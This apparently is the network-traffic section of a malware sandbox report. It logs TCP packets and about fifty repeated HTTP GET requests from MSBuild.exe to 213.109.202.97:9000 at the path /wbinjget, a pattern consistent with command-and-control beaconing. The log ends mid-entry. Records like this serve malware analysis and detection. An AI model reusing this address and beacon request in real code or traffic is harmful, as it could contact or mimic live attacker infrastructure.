Sep 26, 2024 01:49:47.597424984 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597425938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597425938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597438097 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597425938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597425938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597491026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597526073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597546101 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597568989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597579002 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597609997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597655058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597664118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597711086 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597762108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597773075 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597795963 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597826004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597836018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597858906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597883940 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597894907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597902060 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597927094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597954988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597960949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.597975969 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.597994089 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.598002911 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.598031044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.598092079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.598128080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.598138094 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.598165035 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.598176003 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.598207951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.598536968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.598706961 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.599282026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.599509954 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.603441000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.603534937 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.608469963 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.608577013 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.614542961 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.614583015 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.614624023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.627347946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.627583027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.643496990 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.648370028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.648504019 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.650878906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.650899887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.651078939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.656055927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.656132936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.674369097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.679265022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.679357052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.682545900 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.682607889 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.682719946 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.687582016 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.687668085 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.705805063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.710815907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.710915089 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.715905905 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.715986013 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.733481884 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.733550072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.733601093 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.733757973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.733757973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.746783972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.746896982 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.747033119 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.760154009 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.760165930 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.760425091 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.776534081 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.779298067 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.779329062 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.779452085 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.781716108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.781796932 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.786680937 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.786756992 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:47.790828943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:47.790839911 CEST	15647	58394	213.109.202.97	192.168.2.7

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49717	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:00.651451111 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49718	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:02.438308001 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	58353	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:12.051578999 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	58354	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:13.855653048 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	58355	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:18.127233028 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	58356	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:22.256793976 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	58357	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:24.127103090 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	58358	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:25.880723000 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	58359	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:27.751887083 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	58360	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:29.517795086 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	58361	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:33.754712105 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	58362	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:35.516876936 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	58363	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:37.393667936 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	58364	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:39.165481091 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	58365	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:41.033034086 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	58366	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:45.163470984 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	58367	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:49.426239967 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	58368	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:51.210357904 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	58369	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:53.080017090 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	58370	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:54.853199959 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	58371	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:56.794703007 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	58372	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:48:58.576541901 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	58373	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:00.441903114 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	58374	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:02.232110977 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	58375	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:04.268162012 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	58376	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:06.042011976 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	58377	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:07.940412998 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	58378	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:09.915709019 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	58386	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:14.225703001 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	58389	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:16.017489910 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	58395	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:29.784120083 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	58396	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:31.567854881 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	58397	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:33.457604885 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	58398	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:35.211519003 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	58399	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:37.080472946 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	58400	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:38.836493969 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	58401	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:40.721231937 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	58402	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:42.494522095 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	58403	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:44.366457939 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	58404	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:46.157520056 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	58405	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:48.033759117 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	58406	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:49.792620897 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	58408	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:51.708662987 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	58409	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:49:53.540003061 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	58411	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:07.301919937 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	58412	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:21.195595980 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	58413	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:23.085740089 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	58414	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:36.730397940 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	58415	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:38.580914021 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	58416	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
